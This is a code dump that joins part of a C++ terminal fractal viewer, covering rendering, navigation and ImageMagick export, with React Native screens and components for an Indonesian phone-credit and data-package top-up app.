endl; cout << "p: print to file, supports any output format supported by " "imagemagick." << endl; cout << "q: quit." << endl; cout << endl << "UTF characters are on by default as they increase the " "resolution in both directions by a factor of 2; if you " "are having problems displaying images then please use " "--no-utf." << endl; cout << "Detected terminal size: " << pixelsHigh << "x" << pixelsWide << endl; return 0; } if (args.at(i) == "--min-x" && args.size() > i + 1) { minX = stringUtils::fromString<double>(args.at(i + 1)); } if (args.at(i) == "--max-x" && args.size() > i + 1) { maxX = stringUtils::fromString<double>(args.at(i + 1)); } if (args.at(i) == "--min-y" && args.size() > i + 1) { minY = stringUtils::fromString<double>(args.at(i + 1)); } if (args.at(i) == "--max-y" && args.size() > i + 1) { maxY = stringUtils::fromString<double>(args.at(i + 1)); } if (args.at(i) == "--height" && args.size() > i + 1) { pixelsHigh = stringUtils::fromString<int>(args.at(i + 1)); } if (args.at(i) == "--width" && args.size() > i + 1) { pixelsWide = stringUtils::fromString<int>(args.at(i + 1)); } if (args.at(i) == "--no-utf") { utf = false; } if (args.at(i) == "--antialiasing" && args.size() > i + 1) { antialiasing = stringUtils::fromString<int>(args.at(i + 1)); } if (args.at(i) == "--k" && args.size() > i + 1) { stretch_k = stringUtils::fromString<double>(args.at(i + 1)); } if (args.at(i) == "--theta" && args.size() > i + 1) { theta = stringUtils::fromString<double>(args.at(i + 1)); } if (args.at(i) == "--dir" && args.size() > i + 1) { saveLocation = args.at(i + 1); } if (args.at(i) == "--iterates" && args.size() > i + 1) { iterates = stringUtils::fromString<int>(args.at(i + 1)); } } if (pixelsWide == 0 && pixelsHigh == 0) { struct winsize w; ioctl(0, TIOCGWINSZ, &w); cout << "w:" << w.ws_col << "; h:" << w.ws_row << " "; if ((w.ws_col / 2) < w.ws_row) { pixelsHigh = w.ws_col; pixelsWide = w.ws_col; cout << "width" << endl; if (!utf) { pixelsHigh /= 2; pixelsWide /= 2; } } else { pixelsHigh = w.ws_row; pixelsWide = w.ws_row; cout << "height" << endl; pixelsHigh -= 2; pixelsWide -= 2; if (utf) { pixelsHigh *= 2; pixelsWide *= 2; } } } termios before, after; tcgetattr(STDIN_FILENO, &before); // fill 'before' with current termios values after = before; // make a copy to be modified after.c_lflag &= (~ICANON); // Disable canonical mode, including line buffering after.c_lflag &= (~ECHO); // Don't echo characters on the screen (optional) tcsetattr(STDIN_FILENO, TCSANOW, &after); // Set the modified flags char ch; // cout << "\033[s"; while (true) { viewport camera(minX, maxX, minY, maxY, stretch_k, theta, pixelsHigh, pixelsWide, antialiasing, colourScale, colourOffset, iterates); camera.render(); cout << "\033[u"; cout << "\033[0;0H"; if (utf) { camera.drawToUnicode(); } else { camera.drawToTerminal(); } cout << "\033[2KMagnification: " << magnification << "; x: " << (minX + maxX) / 2 << "; y: " << (minY + maxY) / 2 << "; iterates: " << iterates << ";"; if (ch = cin.get()) { if (ch == 'q') { cout << endl; tcsetattr(STDIN_FILENO, TCSANOW, &before); return 0; } else if (ch == 'h') { double tempMinX = minX - (maxX - minX) / 2.0; maxX = maxX - (maxX - minX) / 2.0; minX = tempMinX; } else if (ch == 'j') { double tempMinY = minY + (maxY - minY) / 2.0; maxY = maxY + (maxY - minY) / 2.0; minY = tempMinY; } else if (ch == 'k') { double tempMinY = minY - (maxY - minY) / 2.0; maxY = maxY - (maxY - minY) / 2.0; minY = tempMinY; } else if (ch == 'l') { double tempMinX = minX + (maxX - minX) / 2.0; maxX = maxX + (maxX - minX) / 2.0; minX = tempMinX; } else if (ch == 'u') { double tempMinX = minX + (maxX - minX) / 4; maxX = maxX - (maxX - minX) / 4; minX = tempMinX; double tempMinY = minY + (maxY - minY) / 4; maxY = maxY - (maxY - minY) / 4; minY = tempMinY; magnification *= 2; } else if (ch == 'd') { double tempMinX = 3.0 * minX / 2.0 - maxX / 2.0; maxX = 3.0 * maxX / 2.0 - minX / 2.0; minX = tempMinX; double tempMinY = 3.0 * minY / 2.0 - maxY / 2.0; maxY = 3.0 * maxY / 2.0 - minY / 2.0; minY = tempMinY; magnification /= 2; } else if (ch == '.') { colourOffset += 100; } else if (ch == ',') { colourOffset -= 100; } else if (ch == 'n') { colourScale *= 2; } else if (ch == 'm') { colourScale /= 2; } else if (ch == 'e') { iterates *= 2; } else if (ch == 'r') { iterates /= 2; } else if (ch == 'p') { string defaultFilename = saveLocation + "fracviewX" + stringUtils::toString<double>((maxX + minX) / 2) + "Y" + stringUtils::toString<double>((maxY + minY) / 2) + "." + stringUtils::toString<double>(magnification) + ".png"; string filename; string defaultResX = "800"; string resX; string defaultResY = "800"; string resY; tcsetattr(STDIN_FILENO, TCSANOW, &before); cout << "Enter filename (" << defaultFilename << "):"; getline(cin, filename); if (filename.empty()) { filename = defaultFilename; } cout << "Enter x resolution (800):"; getline(cin, resX); if (resX.empty()) { resX = defaultResX; } cout << "Enter y resolution (800):"; getline(cin, resY); if (resY.empty()) { resY = defaultResY; } tcsetattr(STDIN_FILENO, TCSANOW, &after); viewport camera(minX, maxX, minY, maxY, stretch_k, theta, stringUtils::fromString<int>(resX), stringUtils::fromString<int>(resY), antialiasing, colourScale, colourOffset); camera.render(); camera.drawToFile(filename); cin.ignore(); // clear the input buffer } } } return 0; } ``` colour.h ```#ifndef COLOUR_H #define COLOUR_H #include <cmath> #include <string> #include <iostream> using namespace std; class colour { public: int R; int G; int B; int A; colour(int R=0, int G=0, int B=0, int A=255); friend ostream& operator<< (ostream &out, colour &cPoint); bool operator==(const colour &other) const; bool operator!=(const colour &other) const; int toAnsi(); colour add(colour target); colour product(double target); colour productNoA(double target); }; #endif ``` viewport.cpp ```#include "viewport.h" using namespace std; viewport::viewport(double minX, double maxX, double minY, double maxY, double stretch_k, double theta, int pixelsHigh, int pixelsWide, int antialias, double colourScale, int colourOffset, int iterates) { this->pixelsWide = pixelsWide; this->pixelsHigh = pixelsHigh; this->antialias = antialias; this->minX = minX; this->maxX = maxX; this->minY = minY; this->maxY = maxY; this->stretch_k = stretch_k; this->theta = theta; this->colourScale = colourScale; this->colourOffset = colourOffset; this->pixelMap = vector<vector<colour> >(pixelsWide, vector<colour>(pixelsHigh)); this->iterates = iterates; } void viewport::render() { double s_theta = sin(theta); double c_theta = cos(theta); double ss_theta = s_theta*s_theta; double sc_theta = s_theta*c_theta; double cc_theta = c_theta*c_theta; int max = iterates; double L; if (stretch_k >= 1) { L = 2; } else { L = 2/(stretch_k*stretch_k); } for(int i=0; i<pixelsWide; ++i) { for(int j=0; j<pixelsHigh; ++j) { colour pixelColour(0,0,0,0); for(int k=0; k<antialias; ++k) { for(int m=0; m<antialias; ++m) { double width = maxX - minX; double x = minX + (i - 0.5+double(antialias)/2 + k/double(antialias))/pixelsWide * width; double height = maxY - minY; double y = minY + (j - 0.5+double(antialias)/2 + m/double(antialias))/pixelsHigh * height; //cout << x << "," << y << ";"; double ca = x; //real part double cb = y; //imaginary part double za = x; double zb = y; double ztemp; double zx; double zy; int itterations = 0; while(za*za + zb*zb <= L*L && itterations <= max) { ++itterations; zx = za*(ss_theta + stretch_k*cc_theta) + zb*(stretch_k - 1)*sc_theta; zy = za*(stretch_k - 1)*sc_theta + zb*(stretch_k*ss_theta + cc_theta); za = zx*zx - zy*zy + ca; zb = 2*zx*zy + cb; /* ztemp = za*za - zb*zb + ca; zb = 2*za*zb + cb; za = ztemp; */ } colour currentColour; if(za*za + zb*zb <= L*L) { currentColour = colour(); } else { //currentColour = colour(255,255,255); itterations *= colourScale; itterations += colourOffset; itterations = itterations%1536; int red = 0; int green = 0; int blue = 0; if(itterations < 256) { red = 255; blue = itterations; } else if(itterations < 512) { blue = 255; red = 512 - itterations; } else if(itterations < 768) { blue = 255; green = itterations - 512; } else if(itterations < 1024) { green = 255; blue = 1024 - itterations; } else if(itterations < 1280) { green = 255; red = itterations - 1024; } else if(itterations < 1536) { red = 255; green = 1536 - itterations; } currentColour = colour(red, green, blue); //currentColour = colour((double(max-itterations)/double(max))*255,(double(max-itterations)/double(max))*255,(double(max-itterations)/double(max))*255); } pixelColour = pixelColour.add(currentColour.product(1.0/(antialias*antialias))); } } pixelMap.at(i).at(j) = pixelColour; } } } void viewport::drawToTerminal() { colour foreColour; for(int i=0; i<pixelMap.at(0).size(); ++i) { for(int j=0; j<pixelMap.size(); ++j) { //don't output colour codes unless the colour has changed, significantly faster on old terminals. if(pixelMap.at(j).at(i) != foreColour) { foreColour = pixelMap.at(j).at(i); cout << "\033[48;05;" << foreColour.toAnsi() << "m"; } cout << " "; } foreColour=NULL; cout << "\033[0m\n"; } cout << endl; } void viewport::drawToUnicode() { colour foreColour; colour backColour; for(int i=0; i<pixelMap.at(0).size()-1; i+=2) { for(int j=0; j<pixelMap.size(); ++j) { //don't output colour codes unless the colour has changed, significantly faster on old terminals. if(pixelMap.at(j).at(i) != foreColour) { foreColour = pixelMap.at(j).at(i); cout << "\033[48;05;" << foreColour.toAnsi() << "m"; } if(pixelMap.at(j).at(i+1) != backColour) { backColour = pixelMap.at(j).at(i+1); cout << "\033[38;05;" << backColour.toAnsi() << "m"; } cout << "▄"; } foreColour=NULL; backColour=NULL; cout << "\033[0m\n"; } cout << endl; } void viewport::drawToPPM() { ofstream outFile("test.ppm"); outFile << "P3" << endl; outFile << pixelMap.size() << " " << pixelMap.at(0).size() << endl; outFile << 255; for(int i=0; i<pixelMap.at(0).size(); ++i) { for(int j=0; j<pixelMap.size(); ++j) { if(j%5 == 0) { outFile << endl; } outFile << " " << pixelMap.at(j).at(i).R; outFile << " " << pixelMap.at(j).at(i).G; outFile << " " << pixelMap.at(j).at(i).B; } outFile << endl; } outFile.close(); } void viewport::drawToFile(string filename) { using stringUtils::toString; FILE* output = popen(("convert ppm:- " + filename).c_str(), "w"); fprintf(output, "P3\n"); fprintf(output, "%i %i\n", pixelMap.size(), pixelMap.at(0).size()); fprintf(output, "255"); for(int i=0; i<pixelMap.at(0).size(); ++i) { for(int j=0; j<pixelMap.size(); ++j) { if(j%5 == 0) { fprintf(output, "\n"); } fprintf(output, " %i", pixelMap.at(j).at(i).R); fprintf(output, " %i", pixelMap.at(j).at(i).G); fprintf(output, " %i", pixelMap.at(j).at(i).B); } fprintf(output, "\n"); } pclose(output); } ``` viewport.h ```#ifndef VIEWPORT_H #define VIEWPORT_H #include <map> #include <cmath> #include <vector> #include <string> #include <fstream> #include "stringUtils.h" #include "colour.h" using namespace std; class viewport { public: viewport(double minX=-2, double maxX=2, double minY=-2, double maxY=2, double stretch_k=1, double theta=0, int newPixelsHigh=20, int newPixelsWide=20, int newAntialias=2, double colourScale=128, int colourOffset=0, int iterates=1000); void render(); void drawToTerminal(); void drawToUnicode(); void drawToPPM(); void drawToFile(string filename); vector<vector<colour> > pixelMap; double minX, maxX, minY, maxY, stretch_k, theta; int pixelsHigh; int pixelsWide; int antialias; int iterates; double colourScale; int colourOffset; }; #endif ```
zeddinfo/type-r-bunglon
zeddinfo/type-r-bunglon index.js ```import React, { useEffect, useState } from 'react' import { FlatList, PermissionsAndroid, Platform, StyleSheet, Text, View } from 'react-native' import { Actions } from 'react-native-router-flux' import { BasicHeader } from '../../components/Header'; import Contacts from 'react-native-contacts'; import { Root, Popup } from 'popup-ui' import { CardContact } from '../../components/Card'; const ListContact = () => { const [listContact, setListContact] = useState([]); const getContacts = () => { if (Platform.OS === 'ios') { console.log('get kontak cyu'); } else { PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.READ_CONTACTS, { title: "Contacts", message: "Isidw Bunglon ingin mengakses kontak anda.", buttonPositive: "Izinkan", buttonNegative: "Batalkan" }).then(() => { console.log('res'); // loadContacts(); Contacts.getAll().then(contacts => { // console.log('kontal', contacts); let temp = []; contacts.map((item, index) => { item.phoneNumbers.map((row, index2) => { const data = { nama: item.displayName, phoneNumbers: row.number }; if (temp.indexOf(data) == -1) { temp.push(data); removeDuplicate(temp); } }); }); setListContact(temp); }) }) } } const removeDuplicate = (data) => { return data.filter((value, index) => data.indexOf(value) === index); } const loadContacts = () => { Contacts.getAll((err, datacontact) => { console.log('kontak', datacontact); }) } const setNomor = (nomor) => { console.log('nomor is', nomor); Actions.pop({ refresh: { data: nomor } }); } const renderItem = ({ item, index }) => { return ( <CardContact name={item.nama} nomor={item.phoneNumbers} onPress={setNomor} /> ) } useEffect(() => { getContacts(); // checkPermission(); }, []) return ( <View style={styles.page}> <BasicHeader title="List Kontak" backAction={() => Actions.pop()} /> <FlatList data={listContact} renderItem={renderItem} keyExtractor={(item, index) => index.toString()} showsVerticalScrollIndicator={false} /> </View> ) } export default ListContact const styles = StyleSheet.create({ page: { flex: 1, backgroundColor: '#fff', } }) ``` PaketData.js ```import React from 'react' import { FlatList, Image, StyleSheet, Text, View } from 'react-native' import { Actions } from 'react-native-router-flux' import { GridItems } from '.' import { InputNomor } from '../../components/FormInput' import { BasicHeader } from '../../components/Header' import { PaketGroups } from '../../data' import { colors } from '../../themes' const PaketData = () => { const renderPaket = ({ item, index }) => { return ( <GridItems item={item} index={index} /> ) } return ( <View style={styles.page}> <BasicHeader title="Paket Data" backAction={() => Actions.pop()} /> <Image source={require('../../assets/images/bg-paket.jpg')} style={styles.image} /> <View style={styles.inputPhone}> <InputNomor /> </View> <FlatList data={PaketGroups} renderItem={renderPaket} keyExtractor={(item, index) => 'key-' + index} /> </View> ) } export default PaketData const styles = StyleSheet.create({ page: { flex: 1, backgroundColor: colors.white }, image: { height: 230, resizeMode: 'cover', }, inputPhone: { justifyContent: 'center', alignItems: 'center', alignContent: 'center', position: 'relative', bottom: 30, height: 60 }, }) ``` fonts.js ```export const fonts = { primary: { normal: 'Poppins-Regular', bold: 'Poppins-SemiBold', xtraBold: 'Poppins-ExtraBold', light: 'Poppins-Light', italic: 'Poppins-ExtraLight', } }``` index.js ```import SsoCard from "./SsoCard"; import PulsaCard from "./PulsaCard"; import CardContact from "./CardContact"; export { SsoCard, PulsaCard, CardContact, }``` OnBoardingBtn.js ```import React from 'react' import { Dimensions, StyleSheet, Text, TouchableOpacity, View } from 'react-native' import { colors } from '../../themes' import Icons from 'react-native-vector-icons/FontAwesome5'; import Svg, { G, Circle } from 'react-native-svg'; const { width, height } = Dimensions.get('screen'); const OnBoardingBtn = ({ icons, onPress }) => { const size = 128; const stroleWidth = 2; const centet = size / 2; const radius = size / 2 - stroleWidth / 2; return ( <TouchableOpacity style={styles.container} onPress={onPress}> <Icons name={icons} color={colors.white} size={20} /> </TouchableOpacity> ) } export default OnBoardingBtn const styles = StyleSheet.create({ container: { backgroundColor: colors.onBoaring, width: width / 8, height: width / 8, borderRadius: (width / 2) / 2, alignItems: 'center', alignContent: 'center', justifyContent: 'center', borderWidth: 2, borderColor: 'white', } }) ``` InputNomor.js ```import React, { useState } from 'react' import { Dimensions, StyleSheet, Text, TextInput, View } from 'react-native' import { colors, fonts } from '../../themes' import AntDesign from 'react-native-vector-icons/AntDesign' import Gap from '../Gap'; import { TouchableWithoutFeedback } from 'react-native-gesture-handler'; const { width, height } = Dimensions.get('screen'); const InputNomor = ({ onChange, value, getContact }) => { const [border, setBorder] = useState(colors.grey); const onFocus = () => { setBorder(colors.primary); } const onBlur = () => { setBorder(colors.grey); } return ( <View style={styles.container}> <Text style={styles.title}>Nomor Ponsel</Text> <View style={styles.inputContainer}> <AntDesign name="phone" color={border} size={20} /> <Gap width={10} /> <TextInput style={styles.inputText(border)} onChangeText={onChange} value={value} onFocus={onFocus} onBlur={onBlur} keyboardType="numeric" /> <TouchableWithoutFeedback onPress={getContact}> <AntDesign name="contacts" color={border} size={25} /> </TouchableWithoutFeedback> </View> </View> ) } export default InputNomor const styles = StyleSheet.create({ container: { backgroundColor: colors.white, width: width - 100, height: 90, borderRadius: 25, elevation: 3, paddingLeft: 15, paddingTop: 10, paddingBottom: 40, }, inputText: (border) => ({ borderBottomColor: border, borderBottomWidth: 1, width: width - 190 }), inputContainer: { flexDirection: 'row', alignContent: 'center', alignItems: 'center', }, title: { fontFamily: fonts.primary.normal, color: colors.grey } }) ``` PrimaryButton.js ```import React from 'react' import { StyleSheet, Text, TouchableOpacity, View } from 'react-native' import { colors, fonts } from '../../themes' const PrimaryButton = ({ title, type, onPress }) => { return ( <TouchableOpacity style={styles.container(type)} onPress={onPress}> <Text style={styles.primary}>{title}</Text> </TouchableOpacity> ) } export default PrimaryButton const styles = StyleSheet.create({ container: (type) => ({ backgroundColor: type == 'primary' ? colors.primary : colors.grey, borderRadius: 10, paddingVertical: 13, paddingHorizontal: 10, alignItems: 'center', alignContent: 'center', }), primary: { fontFamily: fonts.primary.bold, color: colors.white } }) ``` colors.js ```export const colors = { primary: '#307A59', secondary: '#459373', yellow: '#F3B33D', grey: '#BDBDBD', white: '#FFFFFF', onBoaring: '#00AEAD', lighGrey: '#f5f5f5', smoothBlack: '#4A4A4A', } ``` index.js ```export const data = [ { title: "New Generation of computers", description: "New Generation of Computers making yo enjoy to work", url: "https://images.unsplash.com/photo-1517430816045-df4b7de11d1d?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=751&q=80" }, { title: "New Generation of computers", description: "New Generation of Computers making yo enjoy to work", url: "https://images.unsplash.com/photo-1485988412941-77a35537dae4?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=772&q=80" }, { title: "New Generation of computers", description: "New Generation of Computers making yo enjoy to work", url: "https://images.unsplash.com/photo-1612425626229-632fab8bfc02?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=757&q=80" }, ]``` BasicHeader.js ```import React from 'react' import { Platform, SafeAreaView, StatusBar, StyleSheet, Text, TouchableOpacity, View } from 'react-native' import { colors, fonts } from '../../themes' import Icons from 'react-native-vector-icons/FontAwesome5' import IonIcons from 'react-native-vector-icons/Ionicons' const BasicHeader = ({ title, backAction }) => { const platform = Platform.OS; return ( <SafeAreaView style={styles.container(platform)}> <StatusBar barStyle="dark-content" /> <TouchableOpacity onPress={backAction}> <Icons name="arrow-left" size={25} color={colors.primary} /> </TouchableOpacity> <Text style={styles.title}>{title}</Text> <IonIcons name="chatbox" color={colors.primary} size={25} /> </SafeAreaView> ) } export default BasicHeader const styles = StyleSheet.create({ container: (platfom) => ({ paddingHorizontal: 10, paddingVertical: platfom == 'android' ? 20 : 15, backgroundColor: colors.white, flexDirection: 'row', justifyContent: 'space-between', alignContent: 'center', alignItems: 'center', // backgroundColor: 'red', }), title: { fontFamily: fonts.primary.bold } }) ``` GridItems.js ```import React from 'react' import { ImageBackground, StyleSheet, Text, View } from 'react-native' const GridItems = ({ item, index }) => { console.log('item', index); return ( <ImageBackground source={{ uri: item.image }} style={styles.container} > </ImageBackground> ) } export default GridItems const styles = StyleSheet.create({ }) ``` index.js ```import PromoTile from "./PromoTile"; import ProductTile from "./ProductTile"; export { PromoTile, ProductTile }``` Search.js ```import React from 'react' import { View, Text, TextInput, StyleSheet, Dimensions } from 'react-native' import { colors } from '../../themes'; const { width, height } = Dimensions.get('screen'); const Search = () => { return ( <View style={styles.container}> <TextInput style={styles.input} placeholder="Samsung A30" /> </View> ) } export default Search; const styles = StyleSheet.create({ container: { backgroundColor: 'rgba(0,0,0,0)' }, input: { height: 35, backgroundColor: colors.white, borderRadius: 10, width: width - 90, padding: 10, } }) ``` ProductTile.js ```import React from 'react' import { Dimensions, Image, StyleSheet, Text, View } from 'react-native' import Icons from 'react-native-vector-icons/Entypo'; import { colors, fonts } from '../../themes'; import Gap from '../Gap'; const { width, height } = Dimensions.get('screen'); const ProductTile = (item) => { return ( <View style={styles.container}> <Image source={{ uri: item.data.gambar }} style={styles.image} /> <Gap height={2} /> <View style={styles.lokasi}> <Icons name="location-pin" color={colors.yellow} size={14} /> <Gap width={2} /> <Text style={styles.textLokasi}>{item.data.lokasi}</Text> </View> <View> <Text ellipsizeMode="tail" style={styles.textNama}>{item.data.nama}</Text> </View> <View style={styles.textTerjual}> <Text style={styles.textHarga}>{item.data.harga}</Text> <Text style={styles.terjualText}>Terjual {item.data.terjual}</Text> </View> <View style={styles.textRating}> <Icons name="star" color={colors.yellow} /> <Gap width={2} /> <Text style={styles.ratingText}>{item.data.rating}</Text> </View> </View> ) } export default ProductTile const styles = StyleSheet.create({ container: { marginLeft: 10, }, image: { width: 150, height: 150, resizeMode: 'cover', borderRadius: 10, }, lokasi: { flexDirection: 'row', // alignContent: 'center', // alignItems: 'center', }, textLokasi: { fontFamily: fonts.primary.normal, fontSize: 11, color: colors.secondary }, textNama: { fontFamily: fonts.primary.bold, color: colors.smoothBlack, fontSize: 13, maxWidth: 120 }, textHarga: { fontFamily: fonts.primary.bold, color: colors.yellow }, textTerjual: { flexDirection: 'row', justifyContent: 'space-between', }, terjualText: { fontFamily: fonts.primary.normal, color: colors.smoothBlack, fontSize: 10, marginTop: 2 }, ratingText: { fontFamily: fonts.primary.normal, fontSize: 10, }, textRating: { flexDirection: 'row' } }) ``` index.js ```import { ICEmoney, ICGames, ICMenu, ICPaket, ICPdam, ICPln, ICPulsa, ICTiket, ICTransfer, ICVoucher } from "./Icon"; export const menu = [ { title: "Pulsa Data", icon: ICPulsa, navigasi: "PulsaScreen" }, { title: "Paket Data", icon: ICPaket, navigasi: "PaketDataScreen" }, { title: "PLN Token", icon: ICPln }, { title: "PDAM", icon: ICPdam }, { title: "E-Money", icon: ICEmoney }, { title: "Tiket", icon: ICTiket }, { title: "Games", icon: ICGames }, { title: "Transfer", icon: ICTransfer }, { title: "Voucher", icon: ICVoucher }, { title: "Semua", icon: ICMenu }, ];``` PulsaData.js ```import React, { useState, useEffect } from 'react' import { Dimensions, FlatList, Image, StyleSheet, Text, View } from 'react-native' import { Actions } from 'react-native-router-flux' import { BasicHeader } from '../../components/Header' import { SliderBox } from 'react-native-image-slider-box'; import { data, pulsa } from '../../data'; import { colors } from '../../themes'; import { InputNomor } from '../../components/FormInput'; import { PulsaCard } from '../../components/Card'; import { Popup } from 'popup-ui'; import AwesomeAlert from 'react-native-awesome-alerts'; const { width, height } = Dimensions.get('screen'); const PulsaData = () => { const [images, setImages] = useState([]); const [nomor, setNomor] = useState(''); const [error, setError] = useState(false); useEffect(() => { const imageSlider = data.map((item) => { return item.url; }); setImages(imageSlider) }, []); const onContinue = (item) => { console.warn(nomor.length); if (nomor.length < 1) { setError(true); } else { Actions.DetailTransaksiPulsaScreen({ data: item, nomor: nomor }) } } const renderItem = ({ item, index }) => { return ( <PulsaCard data={item} onPress={() => onContinue(item)} /> ) } const ListContact = () => { Actions.ListContacts(); } return ( <View style={styles.page}> <BasicHeader title="Pulsa Data" backAction={() => Actions.pop()} /> <View style={styles.sliderBox}> <SliderBox images={images} sliderBoxHeight={230} dotColor={colors.yellow} inactiveDotColor="#90A4AE" paginationBoxVerticalPadding={50} autoplay circleLoop resizeMethod="resize" resizeMode="cover" paginationBoxStyle={{ position: 'absolute', alignItems: 'center', alignSelf: 'center', justifyContent: 'center', }} dotStyle={{ width: 20, height: 5, borderRadius: 5, marginHorizontal: 0, padding: 0, margin: 0, backgroundColor: 'rgba(128, 128, 128, 0.92)', }} ImageComponentStyle={{ width: '100%', justifyContent: 'center', alignContent: 'center', alignItems: 'center', }} imageLoadingColor={colors.primary} /> </View> <AwesomeAlert show={error} showProgress={false} title="Form pengisian" message="Nomor tidak boleh kosong" closeOnTouchOutside={true} closeOnHardwareBackPress={false} // showCancelButton={true} showConfirmButton={true} // cancelText="No, cancel" confirmText="OK" confirmButtonColor="#DD6B55" // onCancelPressed={() => { // setError(false); // }} onConfirmPressed={() => { setError(false); }} /> <View style={styles.inputPhone}> <InputNomor getContact={ListContact} value={nomor} onChange={(value) => setNomor(value)} /> </View> <View style={styles.itemPulsa}> <FlatList data={pulsa} renderItem={renderItem} numColumns={2} keyExtractor={(item, index) => 'denom-' + index} showsVerticalScrollIndicator={false} /> </View> </View> ) } export default PulsaData const styles = StyleSheet.create({ page: { flex: 1, backgroundColor: colors.white }, sliderBox: { height: 230, }, inputPhone: { justifyContent: 'center', alignItems: 'center', alignContent: 'center', position: 'relative', bottom: 30, height: 60 }, itemPulsa: { padding: 10, justifyContent: 'center', alignContent: 'center', alignItems: 'center', flex: 1, } }) ``` index.js ```export const promo = [ { title: "Flash Sale", description: "Promo Flash Sale Gajian, Belanja mulai dari Rp 10 Aja", image: "https://images.unsplash.com/photo-1621208586877-be0c9bc8a7c5?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=750&q=80" }, { title: "Promo Paket Data", description: "Promo Paket Data, Banyak hadiah menarik", image: "https://images.unsplash.com/photo-1528697203043-733dafdaa316?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=700&q=80" }, { title: "Promo Akhir Bulan", description: "Akhir bulan makin asiik aja nih", image: "https://images.unsplash.com/photo-1596659387022-ced30c7de50b?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=750&q=80" }, ]``` BtnCircle.js ```import React from 'react' import { Dimensions, StyleSheet, Text, View } from 'react-native' import { colors } from '../../themes' import Icons from 'react-native-vector-icons/FontAwesome5'; const { width, height } = Dimensions.get('screen'); const BtnCircle = () => { return ( <View style={styles.container}> <Icons name="arrow-right" color={colors.yellow} size={15} /> </View> ) } export default BtnCircle const styles = StyleSheet.create({ container: { backgroundColor: colors.white, width: 30, height: 30, borderRadius: 35 / 2, alignItems: 'center', alignContent: 'center', justifyContent: 'center' } }) ``` index.js ```import Splashscreen from "./Splashscreen"; import { OnBorading } from "./onBoarding"; import { PulsaData } from "./PulsaData"; export { Splashscreen, OnBorading, PulsaData, }``` DetailPulsa.js ```import React from 'react' import { SafeAreaView, StyleSheet, Text, View } from 'react-native' import Gap from '../../components/Gap'; import { BasicHeader, DetailTransaksiHeader } from '../../components/Header'; import { colors, fonts } from '../../themes'; const DetailPulsa = (props) => { console.log('props', props.nomor); const { nomor } = props; return ( <SafeAreaView style={styles.page}> <BasicHeader title="Detail Transaksi" backAction={() => Actions.pop()} /> <DetailTransaksiHeader type="Pulsa Data" denom={props.data.harga} /> <Gap height={10} /> <View style={styles.detailTransaksi}> <Text style={styles.title}>Detail Transaksi</Text> <Gap height={5} /> <View> <View style={styles.rowDetail}> <Text style={styles.titles}>Nomor Tujuan</Text> <Text style={styles.price}>{nomor}</Text> </View> <View style={styles.rowDetail}> <Text style={styles.titles}>Denom</Text> <Text style={styles.price}>10.0000</Text> </View> <Gap height={5} /> <View style={styles.rowDetail}> <Text style={styles.titles}>Harga</Text> <Text style={styles.price}>10.0000</Text> </View> <Gap height={5} /> <View style={styles.rowDetail}> <Text style={styles.titles}>Biaya Admin</Text> <Text style={styles.price}>1.000</Text> </View> <Gap height={5} /> <View style={styles.rowDetail}> <Text ellipsizeMode='tail' style={styles.totalTitles}>Total Pembayaran</Text> <Text ellipsizeMode='tail' style={styles.totalPrice}>Rp 20.000</Text> </View> </View> </View> <Gap height={10} /> <View style={styles.metodePembayaran}> <Text style={styles.title}> Metode Pembayaran </Text> </View> </SafeAreaView> ) } export default DetailPulsa const styles = StyleSheet.create({ detailTransaksi: { backgroundColor: colors.white, borderRadius: 10, paddingVertical: 10, paddingHorizontal: 20, }, title: { fontFamily: fonts.primary.bold }, rowDetail: { flexDirection: 'row', justifyContent: 'space-between' }, titles: { fontFamily: fonts.primary.normal }, price: { fontFamily: fonts.primary.normal, color: colors.secondary, textAlign: 'right' }, totalTitles: { fontFamily: fonts.primary.bold, }, totalPrice: { fontFamily: fonts.primary.bold, textAlign: 'right', }, metodePembayaran: { paddingVertical: 10, paddingHorizontal: 20, backgroundColor: colors.white, borderRadius: 10, } }) ``` index.js ```import Input from "./Input"; import Search from "./Search"; import InputNomor from "./InputNomor"; export { Input, Search, InputNomor, }``` jest.config.js ```// jest.config.js const { defaults } = require('jest-config'); module.exports = { // ... preset: 'react-native', setupFiles: ['./node_modules/react-native-gesture-handler/jestSetup.js'], moduleFileExtensions: [...defaults.moduleFileExtensions, 'ts', 'tsx'], transformIgnorePatterns: [ 'node_modules/(?!(jest-)?@?react-native|@react-native-community|@react-navigation)', ], // ... };``` index.js ```export * from './Favorit';``` Input.js ```import React, { useState } from 'react' import { Dimensions, StyleSheet, Text, TextInput, TouchableOpacity, View } from 'react-native' import { colors, fonts } from '../../themes' import Icons from 'react-native-vector-icons/FontAwesome5'; const { width, height } = Dimensions.get('screen'); const Input = ({ value, label, onChangeText, onPress, placeholder, isSecure, onShow, show, icon }) => { const [border, setBorder] = useState('#495A75'); const onFocusForm = () => { setBorder(colors.onBoaring); } const onBlurForm = () => { setBorder('#495A75'); } return ( <View style={styles.container}> <Text style={styles.title}>{label}</Text> <View style={styles.content}> <View style={styles.sectionStyle(border)}> <TouchableOpacity style={{ justifyContent: 'center', alignItems: 'center', alignItems: 'center', }} onPress={onPress}> {/* <Icons name={isSecure ? "key" : "user-check"} size={20} color={border} /> */} <Icons name={icon} size={20} color={border} /> </TouchableOpacity> <TextInput style={styles.textInput(border)} placeholder={placeholder ? placeholder : ''} defaultValue={value} onChangeText={onChangeText} onFocus={onFocusForm} onBlur={onBlurForm} secureTextEntry={show} /> {isSecure && <TouchableOpacity onPress={onShow}> <Icons name={show ? "eye" : "eye-slash"} size={18} color={border} /> </TouchableOpacity>} </View> </View> </View> ) } export default Input const styles = StyleSheet.create({ content: { backgroundColor: colors.white, flexDirection: 'row', justifyContent: 'center', alignItems: 'center', // height: , }, sectionStyle: (border) => ({ 